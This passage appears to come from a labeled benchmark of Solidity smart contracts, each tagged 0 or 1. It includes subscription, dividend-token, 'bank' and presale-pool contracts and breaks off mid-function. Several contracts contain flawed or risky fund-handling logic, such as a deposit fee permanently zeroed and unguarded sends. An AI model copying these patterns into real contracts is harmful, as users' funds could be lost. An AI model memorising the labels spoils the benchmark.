updateValueAtNow(balances[_to], lastBalance.add(_amount));
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
function finishMinting() public onlyOwner canMint returns (bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
function burn(uint256 _value) public {
uint256 lastBalance = balanceOf(msg.sender);
require(_value <= lastBalance);
address burner = msg.sender;
uint256 curTotalSupply = totalSupply();
updateValueAtNow(totalSupplyHistory, curTotalSupply.sub(_value));
updateValueAtNow(balances[burner], lastBalance.sub(_value));
emit Burn(burner, _value);
}
function burnFrom(address _from, uint256 _value) public {
require(_value <= allowed[_from][msg.sender]);
uint256 lastBalance = balanceOfAt(_from, block.number);
require(_value <= lastBalance);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
address burner = _from;
uint256 curTotalSupply = totalSupply();
updateValueAtNow(totalSupplyHistory, curTotalSupply.sub(_value));
updateValueAtNow(balances[burner], lastBalance.sub(_value));
emit Burn(burner, _value);
}
function enableTransfers(bool _transfersEnabled) public onlyOwner canMint {
transfersEnabled = _transfersEnabled;
}
function doTransfer(address _from, address _to, uint256 _value, uint256 _lastBalance) internal returns (bool) {
if (_value == 0) {
return true;
}
updateValueAtNow(balances[_from], _lastBalance.sub(_value));
uint256 previousBalance = balanceOfAt(_to, block.number);
updateValueAtNow(balances[_to], previousBalance.add(_value));
emit Transfer(_from, _to, _value);
return true;
}
} | 1 | 3,310 |
pragma solidity 0.5.2;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0);
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
contract Medianizer {
function read() public view returns (bytes32);
}
contract Weth {
mapping(address => mapping(address => uint)) public allowance;
mapping(address => uint) public balanceOf;
function transferFrom(address src, address dst, uint wad) public returns (bool);
}
contract Subscrypto {
using SafeMath for uint;
Medianizer public daiPriceContract;
Weth public wethContract;
constructor(address daiMedianizerContract, address wethContractAddress) public {
daiPriceContract = Medianizer(daiMedianizerContract);
wethContract = Weth(wethContractAddress);
}
event NewSubscription(
address indexed subscriber,
address indexed receiver,
uint daiCents,
uint32 interval
);
event Unsubscribe(
address indexed subscriber,
address indexed receiver
);
event ReceiverPaymentsCollected(
address indexed receiver,
uint weiAmount,
uint startIndex,
uint endIndex
);
event PaymentCollected(
address indexed subscriber,
address indexed receiver,
uint weiAmount,
uint daiCents,
uint48 effectiveTimestamp
);
event UnfundedPayment(
address indexed subscriber,
address indexed receiver,
uint weiAmount,
uint daiCents
);
event StaleSubscription(
address indexed subscriber,
address indexed receiver
);
event SubscriptionDeactivated(
address indexed subscriber,
address indexed receiver
);
event SubscriptionReactivated(
address indexed subscriber,
address indexed receiver
);
uint constant MIN_GAS_PER_COLLECT_PAYMENT = 45000;
uint constant MAX_SUBSCRIPTION_PER_SUBSCRIBER = 10000;
uint constant MIN_SUBSCRIPTION_DAI_CENTS = 100;
uint constant STALE_INTERVAL_THRESHOLD = 3;
struct Subscription {
bool isActive;
uint48 nextPaymentTime;
uint32 interval;
address subscriber;
address receiver;
uint daiCents;
}
uint64 nextIndex = 1;
mapping(uint64 => Subscription) public subscriptions;
mapping(address => mapping(address => uint64)) public subscriberReceiver;
mapping(address => uint64[]) public receiverSubs;
mapping(address => uint64[]) public subscriberSubs;
function subscribe(address receiver, uint daiCents, uint32 interval) external {
uint weiAmount = daiCentsToEthWei(daiCents, ethPriceInDaiWad());
uint64 existingIndex = subscriberReceiver[msg.sender][receiver];
require(subscriptions[existingIndex].daiCents == 0, "Subscription exists");
require(daiCents >= MIN_SUBSCRIPTION_DAI_CENTS, "Subsciption amount too low");
require(interval >= 86400, "Interval must be at least 1 day");
require(interval <= 31557600, "Interval must be at most 1 year");
require(subscriberSubs[msg.sender].length < MAX_SUBSCRIPTION_PER_SUBSCRIBER,"Subscription count limit reached");
require(wethContract.transferFrom(msg.sender, receiver, weiAmount), "wETH transferFrom() failed");
subscriptions[nextIndex] = Subscription(
true,
uint48(now.add(interval)),
interval,
msg.sender,
receiver,
daiCents
);
subscriberReceiver[msg.sender][receiver] = nextIndex;
receiverSubs[receiver].push(nextIndex);
subscriberSubs[msg.sender].push(nextIndex);
emit NewSubscription(msg.sender, receiver, daiCents, interval);
emit PaymentCollected(msg.sender, receiver, weiAmount, daiCents, uint48(now));
nextIndex++;
}
function deactivateSubscription(address receiver) external returns (bool) {
uint64 index = subscriberReceiver[msg.sender][receiver];
require(index != 0, "Subscription does not exist");
Subscription storage sub = subscriptions[index];
require(sub.isActive, "Subscription is already disabled");
require(sub.daiCents > 0, "Subscription does not exist");
sub.isActive = false;
emit SubscriptionDeactivated(msg.sender, receiver);
return true;
}
function reactivateSubscription(address receiver) external returns (bool) {
uint64 index = subscriberReceiver[msg.sender][receiver];
require(index != 0, "Subscription does not exist");
Subscription storage sub = subscriptions[index];
require(!sub.isActive, "Subscription is already active");
sub.isActive = true;
emit SubscriptionReactivated(msg.sender, receiver);
if (calculateUnpaidIntervalsUntil(sub, now) > 0) {
uint weiAmount = daiCentsToEthWei(sub.daiCents, ethPriceInDaiWad());
require(wethContract.transferFrom(msg.sender, receiver, weiAmount), "Insufficient funds to reactivate subscription");
emit PaymentCollected(msg.sender, receiver, weiAmount, sub.daiCents, uint48(now));
}
sub.nextPaymentTime = uint48(now.add(sub.interval));
return true;
}
function unsubscribe(address receiver) external {
uint64 index = subscriberReceiver[msg.sender][receiver];
require(index != 0, "Subscription does not exist");
delete subscriptions[index];
delete subscriberReceiver[msg.sender][receiver];
deleteElement(subscriberSubs[msg.sender], index);
emit Unsubscribe(msg.sender, receiver);
}
function unsubscribeByReceiver(address subscriber) external {
uint64 index = subscriberReceiver[subscriber][msg.sender];
require(index != 0, "Subscription does not exist");
delete subscriptions[index];
delete subscriberReceiver[subscriber][msg.sender];
deleteElement(subscriberSubs[subscriber], index);
emit Unsubscribe(subscriber, msg.sender);
}
function collectPayments(address receiver) external {
collectPaymentsRange(receiver, 0, receiverSubs[receiver].length);
}
function getTotalUnclaimedPayments(address receiver) external view returns (uint) {
uint totalPayment = 0;
uint ethPriceWad = ethPriceInDaiWad();
for (uint i = 0; i < receiverSubs[receiver].length; i++) {
Subscription storage sub = subscriptions[receiverSubs[receiver][i]];
if (sub.isActive && sub.daiCents != 0) {
uint wholeUnpaidIntervals = calculateUnpaidIntervalsUntil(sub, now);
if (wholeUnpaidIntervals > 0 && wholeUnpaidIntervals < STALE_INTERVAL_THRESHOLD) {
uint weiAmount = daiCentsToEthWei(sub.daiCents, ethPriceWad);
uint authorizedBalance = allowedBalance(sub.subscriber);
do {
if (authorizedBalance >= weiAmount) {
totalPayment = totalPayment.add(weiAmount);
authorizedBalance = authorizedBalance.sub(weiAmount);
}
wholeUnpaidIntervals = wholeUnpaidIntervals.sub(1);
} while (wholeUnpaidIntervals > 0);
}
}
}
return totalPayment;
}
function outstandingBalanceUntil(address subscriber, uint time) external view returns (uint) {
uint until = time <= now ? now : time;
uint64[] memory subs = subscriberSubs[subscriber];
uint totalDaiCents = 0;
for (uint64 i = 0; i < subs.length; i++) {
Subscription memory sub = subscriptions[subs[i]];
if (sub.isActive) {
totalDaiCents = totalDaiCents.add(sub.daiCents.mul(calculateUnpaidIntervalsUntil(sub, until)));
}
}
return totalDaiCents;
}
function collectPaymentsRange(address receiver, uint start, uint end) public returns (uint) {
uint64[] storage subs = receiverSubs[receiver];
require(subs.length > 0, "receiver has no subscriptions");
require(start < end && end <= subs.length, "wrong arguments for range");
uint totalPayment = 0;
uint ethPriceWad = ethPriceInDaiWad();
uint last = end;
uint i = start;
while (i < last) {
if (gasleft() < MIN_GAS_PER_COLLECT_PAYMENT) {
break;
}
Subscription storage sub = subscriptions[subs[i]];
while (sub.daiCents == 0 && subs.length > 0) {
uint lastIndex = subs.length.sub(1);
subs[i] = subs[lastIndex];
delete(subs[lastIndex]);
subs.length = lastIndex;
if (last > lastIndex) {
last = lastIndex;
}
if (lastIndex > 0) {
sub = subscriptions[subs[i]];
}
}
if (sub.isActive && sub.daiCents != 0) {
uint wholeUnpaidIntervals = calculateUnpaidIntervalsUntil(sub, now);
if (wholeUnpaidIntervals > 0) {
uint subscriberPayment = 0;
if (wholeUnpaidIntervals >= STALE_INTERVAL_THRESHOLD) {
sub.isActive = false;
emit SubscriptionDeactivated(sub.subscriber, receiver);
emit StaleSubscription(sub.subscriber, receiver);
} else {
uint weiAmount = daiCentsToEthWei(sub.daiCents, ethPriceWad);
uint authorizedBalance = allowedBalance(sub.subscriber);
do {
if (authorizedBalance >= weiAmount) {
totalPayment = totalPayment.add(weiAmount);
subscriberPayment = subscriberPayment.add(weiAmount);
authorizedBalance = authorizedBalance.sub(weiAmount);
emit PaymentCollected(sub.subscriber, receiver, weiAmount, sub.daiCents, sub.nextPaymentTime);
sub.nextPaymentTime = calculateNextPaymentTime(sub);
} else {
emit UnfundedPayment(sub.subscriber, receiver, weiAmount, sub.daiCents);
}
wholeUnpaidIntervals = wholeUnpaidIntervals.sub(1);
} while (wholeUnpaidIntervals > 0);
}
if (subscriberPayment > 0) {
assert(wethContract.transferFrom(sub.subscriber, receiver, subscriberPayment));
}
}
}
i++;
}
emit ReceiverPaymentsCollected(receiver, totalPayment, start, i);
return i;
}
function allowedBalance(address subscriber) public view returns (uint) {
uint balance = wethContract.balanceOf(subscriber);
uint allowance = wethContract.allowance(subscriber, address(this));
return balance > allowance ? allowance : balance;
}
function ethPriceInDaiWad() public view returns (uint) {
uint price = uint(daiPriceContract.read());
require(price > 1, "Invalid price for DAI.");
return price;
}
function deleteElement(uint64[] storage array, uint64 element) internal {
uint lastIndex = array.length.sub(1);
for (uint i = 0; i < array.length; i++) {
if (array[i] == element) {
array[i] = array[lastIndex];
delete(array[lastIndex]);
array.length = lastIndex;
break;
}
}
}
function calculateUnpaidIntervalsUntil(Subscription memory sub, uint time) internal view returns (uint) {
require(time >= now, "don't use a time before now");
if (time > sub.nextPaymentTime) {
return ((time.sub(sub.nextPaymentTime)).div(sub.interval)).add(1);
}
return 0;
}
function calculateNextPaymentTime(Subscription memory sub) internal pure returns (uint48) {
uint48 nextPaymentTime = sub.nextPaymentTime + sub.interval;
assert(nextPaymentTime > sub.nextPaymentTime);
return nextPaymentTime;
}
function daiCentsToEthWei(uint daiCents, uint ethPriceWad) internal pure returns (uint) {
return centsToWad(daiCents).mul(10**18).div(ethPriceWad);
}
function centsToWad(uint cents) internal pure returns (uint) {
return cents.mul(10**16);
}
} | 1 | 4,325 |
pragma solidity ^0.4.23;
contract Rocket {
modifier onlyBagholders() {
require(myTokens() > 0);
_;
}
modifier onlyStronghands() {
require(myDividends(true) > 0);
_;
}
modifier onlyAdministrator(){
address _customerAddress = msg.sender;
require(administrators[_customerAddress]);
_;
}
event onTokenPurchase(
address indexed customerAddress,
uint256 incomingEthereum,
uint256 tokensMinted,
address indexed referredBy
);
event onTokenSell(
address indexed customerAddress,
uint256 tokensBurned,
uint256 ethereumEarned
);
event onReinvestment(
address indexed customerAddress,
uint256 ethereumReinvested,
uint256 tokensMinted
);
event onWithdraw(
address indexed customerAddress,
uint256 ethereumWithdrawn
);
event Transfer(
address indexed from,
address indexed to,
uint256 tokens
);
string public name = "Rocket";
string public symbol = "RCKT";
uint8 constant public decimals = 18;
uint8 constant internal dividendFee_ = 5;
uint256 constant internal tokenPriceInitial_ = 0.0000001 ether;
uint256 constant internal tokenPriceIncremental_ = 0.00000001 ether;
uint256 constant internal magnitude = 2**64;
uint256 public stakingRequirement = 100e18;
uint256 public Timer;
uint16 constant public JackpotTimer = 30 minutes;
address public Jackpot;
uint256 public JackpotAmount;
uint8 constant JackpotCut = 4;
uint8 constant JackpotPay = 80;
uint16 constant JackpotMinBuyin = 1000;
uint256 constant JackpotMinBuyingConst = 10 finney;
uint256 constant MaxBuyInMin = 1 ether;
uint8 constant MaxBuyInCut = 10;
mapping(address => uint256) internal tokenBalanceLedger_;
mapping(address => uint256) internal referralBalance_;
mapping(address => int256) internal payoutsTo_;
mapping(address => uint256) internal ambassadorAccumulatedQuota_;
uint256 internal tokenSupply_ = 0;
uint256 internal profitPerShare_;
mapping(address => bool) public administrators;
bool public onlyAmbassadors = false;
constructor()
public
payable
{
administrators[msg.sender] = true;
buy(0x0);
}
function buy(address _referredBy)
public
payable
returns(uint256)
{
require(msg.value <= GetMaxBuyIn());
purchaseTokens(msg.value, _referredBy);
}
function()
payable
public
{
require(msg.value <= GetMaxBuyIn());
purchaseTokens(msg.value, 0x0);
}
function reinvest()
onlyStronghands()
public
{
uint256 _dividends = myDividends(false);
address _customerAddress = msg.sender;
payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude);
_dividends += referralBalance_[_customerAddress];
referralBalance_[_customerAddress] = 0;
uint256 _tokens = purchaseTokens(_dividends, 0x0);
onReinvestment(_customerAddress, _dividends, _tokens);
}
function exit()
public
{
address _customerAddress = msg.sender;
uint256 _tokens = tokenBalanceLedger_[_customerAddress];
if(_tokens > 0) sell(_tokens);
withdraw();
}
function withdraw()
onlyStronghands()
public
{
address _customerAddress = msg.sender;
uint256 _dividends = myDividends(false);
payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude);
_dividends += referralBalance_[_customerAddress];
referralBalance_[_customerAddress] = 0;
_customerAddress.transfer(_dividends);
onWithdraw(_customerAddress, _dividends);
}
function sell(uint256 _amountOfTokens)
onlyBagholders()
public
{
address _customerAddress = msg.sender;
require(_amountOfTokens <= tokenBalanceLedger_[_customerAddress]);
uint256 _tokens = _amountOfTokens;
uint256 _ethereum = tokensToEthereum_(_tokens);
uint256 _undividedDividends = SafeMath.div(_ethereum, dividendFee_);
uint256 _jackpotAmount = SafeMath.div(_undividedDividends, JackpotCut);
JackpotAmount = SafeMath.add(JackpotAmount, _jackpotAmount);
uint256 _dividends = SafeMath.sub(_undividedDividends,_jackpotAmount);
uint256 _taxedEthereum = SafeMath.sub(_ethereum, _undividedDividends);
tokenSupply_ = SafeMath.sub(tokenSupply_, _tokens);
tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _tokens);
int256 _updatedPayouts = (int256) (profitPerShare_ * _tokens + (_taxedEthereum * magnitude));
payoutsTo_[_customerAddress] -= _updatedPayouts;
if (tokenSupply_ > 0) {
profitPerShare_ = SafeMath.add(profitPerShare_, (_dividends * magnitude) / tokenSupply_);
}
onTokenSell(_customerAddress, _tokens, _taxedEthereum);
}
function transfer(address _toAddress, uint256 _amountOfTokens)
onlyBagholders()
public
returns(bool)
{
address _customerAddress = msg.sender;
require(!onlyAmbassadors && _amountOfTokens <= tokenBalanceLedger_[_customerAddress]);
if(myDividends(true) > 0) withdraw();
tokenSupply_ = SafeMath.sub(tokenSupply_, _amountOfTokens);
tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _amountOfTokens);
tokenBalanceLedger_[_toAddress] = SafeMath.add(tokenBalanceLedger_[_toAddress], _amountOfTokens);
payoutsTo_[_customerAddress] -= (int256) (profitPerShare_ * _amountOfTokens);
payoutsTo_[_toAddress] += (int256) (profitPerShare_ * _amountOfTokens);
Transfer(_customerAddress, _toAddress, _amountOfTokens);
return true;
}
function disableInitialStage()
onlyAdministrator()
public
{
}
function setAdministrator(address _identifier, bool _status)
onlyAdministrator()
public
{
administrators[_identifier] = _status;
}
function setStakingRequirement(uint256 _amountOfTokens)
onlyAdministrator()
public
{
stakingRequirement = _amountOfTokens;
}
function setName(string _name)
onlyAdministrator()
public
{
name = _name;
}
function setSymbol(string _symbol)
onlyAdministrator()
public
{
symbol = _symbol;
}
function GetJackpotMin() public view returns (uint){
uint Ret = SafeMath.div(totalEthereumBalance(),(JackpotMinBuyin));
if (Ret < JackpotMinBuyingConst){
return JackpotMinBuyingConst;
}
return Ret;
}
function GetMaxBuyIn() public view returns (uint){
uint Ret = SafeMath.div(totalEthereumBalance(),(MaxBuyInCut));
if (Ret < MaxBuyInMin){
return MaxBuyInMin;
}
return Ret;
}
function totalEthereumBalance()
public
view
returns(uint)
{
return address(this).balance;
}
function totalSupply()
public
view
returns(uint256)
{
return tokenSupply_;
}
function myTokens()
public
view
returns(uint256)
{
address _customerAddress = msg.sender;
return balanceOf(_customerAddress);
}
function myDividends(bool _includeReferralBonus)
public
view
returns(uint256)
{
address _customerAddress = msg.sender;
return _includeReferralBonus ? dividendsOf(_customerAddress) + referralBalance_[_customerAddress] : dividendsOf(_customerAddress) ;
}
function balanceOf(address _customerAddress)
view
public
returns(uint256)
{
return tokenBalanceLedger_[_customerAddress];
}
function dividendsOf(address _customerAddress)
view
public
returns(uint256)
{
return (uint256) ((int256)(profitPerShare_ * tokenBalanceLedger_[_customerAddress]) - payoutsTo_[_customerAddress]) / magnitude;
}
function sellPrice()
public
view
returns(uint256)
{
if(tokenSupply_ == 0){
return tokenPriceInitial_ - tokenPriceIncremental_;
} else {
uint256 _ethereum = tokensToEthereum_(1e18);
uint256 _dividends = SafeMath.div(_ethereum, dividendFee_ );
uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends);
return _taxedEthereum;
}
}
function buyPrice()
public
view
returns(uint256)
{
if(tokenSupply_ == 0){
return tokenPriceInitial_ + tokenPriceIncremental_;
} else {
uint256 _ethereum = tokensToEthereum_(1e18);
uint256 _dividends = SafeMath.div(_ethereum, dividendFee_ );
uint256 _taxedEthereum = SafeMath.add(_ethereum, _dividends);
return _taxedEthereum;
}
}
function calculateTokensReceived(uint256 _ethereumToSpend)
public
view
returns(uint256)
{
uint256 _dividends = SafeMath.div(_ethereumToSpend, dividendFee_);
uint256 _taxedEthereum = SafeMath.sub(_ethereumToSpend, _dividends);
uint256 _amountOfTokens = ethereumToTokens_(_taxedEthereum);
return _amountOfTokens;
}
function calculateEthereumReceived(uint256 _tokensToSell)
public
view
returns(uint256)
{
require(_tokensToSell <= tokenSupply_);
uint256 _ethereum = tokensToEthereum_(_tokensToSell);
uint256 _dividends = SafeMath.div(_ethereum, dividendFee_);
uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends);
return _taxedEthereum;
}
function PayJackpot() public{
if (block.timestamp > Timer && Jackpot != address(0x0)){
uint256 pay = (SafeMath.div(SafeMath.mul(JackpotAmount, JackpotPay), 100));
referralBalance_[Jackpot] += pay;
Jackpot = address(0x0);
JackpotAmount = SafeMath.sub(JackpotAmount, (uint256) (pay));
}
}
function purchaseTokens(uint256 _incomingEthereum, address _referredBy)
internal
returns(uint256)
{
if (block.timestamp > Timer){
PayJackpot();
}
if (_incomingEthereum >= GetJackpotMin()){
Jackpot = msg.sender;
Timer = block.timestamp + JackpotTimer;
}
address _customerAddress = msg.sender;
uint256 _undividedDividends = SafeMath.div(_incomingEthereum, dividendFee_);
bool ref = (_referredBy != 0x0000000000000000000000000000000000000000 && _referredBy != _customerAddress && tokenBalanceLedger_[_referredBy] >= stakingRequirement);
uint256 _referralBonus = SafeMath.div(_undividedDividends, 3);
if (!ref){
_referralBonus = 0;
}
uint256 _jackpotAmount = SafeMath.div(SafeMath.sub(_undividedDividends, _referralBonus), JackpotCut);
JackpotAmount = SafeMath.add(JackpotAmount, _jackpotAmount);
uint256 _dividends = SafeMath.sub(SafeMath.sub(_undividedDividends, _referralBonus),_jackpotAmount);
uint256 _taxedEthereum = SafeMath.sub(_incomingEthereum, _undividedDividends);
uint256 _amountOfTokens = ethereumToTokens_(_taxedEthereum);
uint256 _fee = _dividends * magnitude;
require(_amountOfTokens > 0 && (SafeMath.add(_amountOfTokens,tokenSupply_) > tokenSupply_));
if(
ref
){
referralBalance_[_referredBy] = SafeMath.add(referralBalance_[_referredBy], _referralBonus);
}
if(tokenSupply_ > 0){
tokenSupply_ = SafeMath.add(tokenSupply_, _amountOfTokens);
profitPerShare_ += (_dividends * magnitude / (tokenSupply_));
_fee = _fee - (_fee-(_amountOfTokens * (_dividends * magnitude / (tokenSupply_))));
} else {
tokenSupply_ = _amountOfTokens;
}
tokenBalanceLedger_[_customerAddress] = SafeMath.add(tokenBalanceLedger_[_customerAddress], _amountOfTokens);
int256 _updatedPayouts = (int256) ((profitPerShare_ * _amountOfTokens) - _fee);
payoutsTo_[_customerAddress] += _updatedPayouts;
onTokenPurchase(_customerAddress, _incomingEthereum, _amountOfTokens, _referredBy);
return _amountOfTokens;
}
function ethereumToTokens_(uint256 _ethereum)
internal
view
returns(uint256)
{
uint256 _tokenPriceInitial = tokenPriceInitial_ * 1e18;
uint256 _tokensReceived =
(
(
SafeMath.sub(
(sqrt
(
(_tokenPriceInitial**2)
+
(2*(tokenPriceIncremental_ * 1e18)*(_ethereum * 1e18))
+
(((tokenPriceIncremental_)**2)*(tokenSupply_**2))
+
(2*(tokenPriceIncremental_)*_tokenPriceInitial*tokenSupply_)
)
), _tokenPriceInitial
)
)/(tokenPriceIncremental_)
)-(tokenSupply_)
;
return _tokensReceived;
}
function tokensToEthereum_(uint256 _tokens)
internal
view
returns(uint256)
{
uint256 tokens_ = (_tokens + 1e18);
uint256 _tokenSupply = (tokenSupply_ + 1e18);
uint256 _etherReceived =
(
SafeMath.sub(
(
(
(
tokenPriceInitial_ +(tokenPriceIncremental_ * (_tokenSupply/1e18))
)-tokenPriceIncremental_
)*(tokens_ - 1e18)
),(tokenPriceIncremental_*((tokens_**2-tokens_)/1e18))/2
)
/1e18);
return _etherReceived;
}
function sqrt(uint x) internal pure returns (uint y) {
uint z = (x + 1) / 2;
y = x;
while (z < y) {
y = z;
z = (x / z + z) / 2;
}
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
} | 0 | 1,830 |
pragma solidity ^0.4.5;
contract Better_Bank_With_Interest {
mapping(address => uint256) balances;
mapping(address => uint256) term_deposit_end_block;
address thebank;
uint256 public minimum_deposit_amount;
uint256 public deposit_fee;
uint256 public contract_alive_until_this_block;
uint256 public count_customer_deposits;
function Better_Bank_With_Interest() {
thebank = msg.sender;
minimum_deposit_amount = 250 ether;
deposit_fee = 5 ether;
contract_alive_until_this_block = 3000000;
count_customer_deposits = 0;
term_deposit_end_block[thebank] = 0;
}
function deposit() payable {
if (msg.value < minimum_deposit_amount) throw;
if (balances[msg.sender] == 0) deposit_fee = 0 ether;
if ( msg.sender == thebank ){
balances[thebank] += msg.value;
}
else {
count_customer_deposits += 1;
balances[msg.sender] += msg.value - deposit_fee;
balances[thebank] += deposit_fee;
term_deposit_end_block[msg.sender] = block.number + 30850;
}
}
function withdraw(uint256 withdraw_amount) {
if (withdraw_amount < 10 ether) throw;
if ( withdraw_amount > balances[msg.sender] ) throw;
if (block.number < term_deposit_end_block[msg.sender] ) throw;
uint256 interest = 1 ether;
if (msg.sender == thebank){
interest = 0 ether;
}
if (interest > balances[thebank])
interest = balances[thebank];
balances[thebank] -= interest;
balances[msg.sender] -= withdraw_amount;
if (!msg.sender.send(withdraw_amount)) throw;
if (!msg.sender.send(interest)) throw;
}
function set_minimum_payment(uint256 new_limit) {
if ( msg.sender == thebank ){
minimum_deposit_amount = new_limit;
}
}
function set_deposit_fee (uint256 new_fee) {
if ( msg.sender == thebank ){
deposit_fee = new_fee;
}
}
function get_available_interest_amount () constant returns (uint256) {
return balances[thebank];
}
function get_term_deposit_end_date (address query_address) constant returns (uint256) {
return term_deposit_end_block[query_address];
}
function get_balance (address query_address) constant returns (uint256) {
return balances[query_address];
}
function extend_life_of_contract (uint256 newblock){
if ( msg.sender != thebank || newblock < contract_alive_until_this_block ) throw;
contract_alive_until_this_block = newblock;
term_deposit_end_block[thebank] = contract_alive_until_this_block;
}
function close_bank(){
if (contract_alive_until_this_block < block.number || count_customer_deposits == 0)
selfdestruct(thebank);
}
function () payable {
balances[thebank] += msg.value;
}
} | 0 | 1,844 |
pragma solidity ^0.4.19;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20 {
function balanceOf(address _owner) constant returns (uint256 balance) {}
function transfer(address _to, uint256 _value) returns (bool success) {}
}
contract WhiteList {
function checkMemberLevel (address addr) view public returns (uint) {}
}
contract PresalePool {
using SafeMath for uint;
uint8 public contractStage = 1;
address public owner;
uint[] public contributionCaps;
uint public feePct;
address public receiverAddress;
uint constant public contributionMin = 100000000000000000;
uint constant public maxGasPrice = 50000000000;
WhiteList constant public whitelistContract = WhiteList(0x8D95B038cA80A986425FA240C3C17Fb2B6e9bc63);
uint public nextCapTime;
uint [] public nextContributionCaps;
uint public addressChangeBlock;
uint public finalBalance;
uint[] public ethRefundAmount;
address public activeToken;
struct Contributor {
bool authorized;
uint ethRefund;
uint balance;
uint cap;
mapping (address => uint) tokensClaimed;
}
mapping (address => Contributor) whitelist;
struct TokenAllocation {
ERC20 token;
uint[] pct;
uint balanceRemaining;
}
mapping (address => TokenAllocation) distributionMap;
modifier onlyOwner () {
require (msg.sender == owner);
_;
}
bool locked;
modifier noReentrancy() {
require(!locked);
locked = true;
_;
locked = false;
}
event ContributorBalanceChanged (address contributor, uint totalBalance);
event ReceiverAddressSet ( address _addr);
event PoolSubmitted (address receiver, uint amount);
event WithdrawalsOpen (address tokenAddr);
event EthRefundReceived (address sender, uint amount);
event EthRefunded (address receiver, uint amount);
event TokensWithdrawn (address receiver, address token, uint amount);
event ERC223Received (address token, uint value);
function _toPct (uint numerator, uint denominator ) internal pure returns (uint) {
return numerator.mul(10 ** 20) / denominator;
}
function _applyPct (uint numerator, uint pct) internal pure returns (uint) {
return numerator.mul(pct) / (10 ** 20);
}
function PresalePool(address receiverAddr, uint[] capAmounts, uint fee) public {
require (fee < 100);
require (capAmounts.length>1 && capAmounts.length<256);
for (uint8 i=1; i<capAmounts.length; i++) {
require (capAmounts[i] <= capAmounts[0]);
}
owner = msg.sender;
receiverAddress = receiverAddr;
contributionCaps = capAmounts;
feePct = _toPct(fee,100);
whitelist[msg.sender].authorized = true;
}
function () payable public {
if (contractStage == 1) {
_ethDeposit();
} else if (contractStage == 3) {
_ethRefund();
} else revert();
}
function _ethDeposit () internal {
assert (contractStage == 1);
require (tx.gasprice <= maxGasPrice);
require (this.balance <= contributionCaps[0]);
var c = whitelist[msg.sender];
uint newBalance = c.balance.add(msg.value);
require (newBalance >= contributionMin);
require (newBalance <= _checkCap(msg.sender));
c.balance = newBalance;
ContributorBalanceChanged(msg.sender, newBalance);
}
function _ethRefund () internal {
assert (contractStage == 3);
require (msg.sender == owner || msg.sender == receiverAddress);
require (msg.value >= contributionMin);
ethRefundAmount.push(msg.value);
EthRefundReceived(msg.sender, msg.value);
}
function withdraw (address tokenAddr) public {
var c = whitelist[msg.sender];
require (c.balance > 0);
if (contractStage < 3) {
uint amountToTransfer = c.balance;
c.balance = 0;
msg.sender.transfer(amountToTransfer);
ContributorBalanceChanged(msg.sender, 0);
} else {
_withdraw(msg.sender,tokenAddr);
}
}
function withdrawFor (address contributor, address tokenAddr) public onlyOwner {
require (contractStage == 3);
require (whitelist[contributor].balance > 0);
_withdraw(contributor,tokenAddr);
}
function _withdraw (address receiver, address tokenAddr) internal {
assert (contractStage == 3);
var c = whitelist[receiver];
if (tokenAddr == 0x00) {
tokenAddr = activeToken;
}
var d = distributionMap[tokenAddr];
require ( (ethRefundAmount.length > c.ethRefund) || d.pct.length > c.tokensClaimed[tokenAddr] );
if (ethRefundAmount.length > c.ethRefund) {
uint pct = _toPct(c.balance,finalBalance);
uint ethAmount = 0;
for (uint i=c.ethRefund; i<ethRefundAmount.length; i++) {
ethAmount = ethAmount.add(_applyPct(ethRefundAmount[i],pct));
}
c.ethRefund = ethRefundAmount.length;
if (ethAmount > 0) {
receiver.transfer(ethAmount);
EthRefunded(receiver,ethAmount);
}
}
if (d.pct.length > c.tokensClaimed[tokenAddr]) {
uint tokenAmount = 0;
for (i=c.tokensClaimed[tokenAddr]; i<d.pct.length; i++) {
tokenAmount = tokenAmount.add(_applyPct(c.balance,d.pct[i]));
}
c.tokensClaimed[tokenAddr] = d.pct.length;
if (tokenAmount > 0) {
require(d.token.transfer(receiver,tokenAmount));
d.balanceRemaining = d.balanceRemaining.sub(tokenAmount);
TokensWithdrawn(receiver,tokenAddr,tokenAmount);
}
}
}
function authorize (address addr, uint cap) public onlyOwner {
require (contractStage == 1);
_checkWhitelistContract(addr);
require (!whitelist[addr].authorized);
require ((cap > 0 && cap < contributionCaps.length) || (cap >= contributionMin && cap <= contributionCaps[0]) );
uint size;
assembly { size := extcodesize(addr) }
require (size == 0);
whitelist[addr].cap = cap;
whitelist[addr].authorized = true;
}
function authorizeMany (address[] addr, uint cap) public onlyOwner {
require (addr.length < 255);
require (cap > 0 && cap < contributionCaps.length);
for (uint8 i=0; i<addr.length; i++) {
authorize(addr[i], cap);
}
}
function revoke (address addr) public onlyOwner {
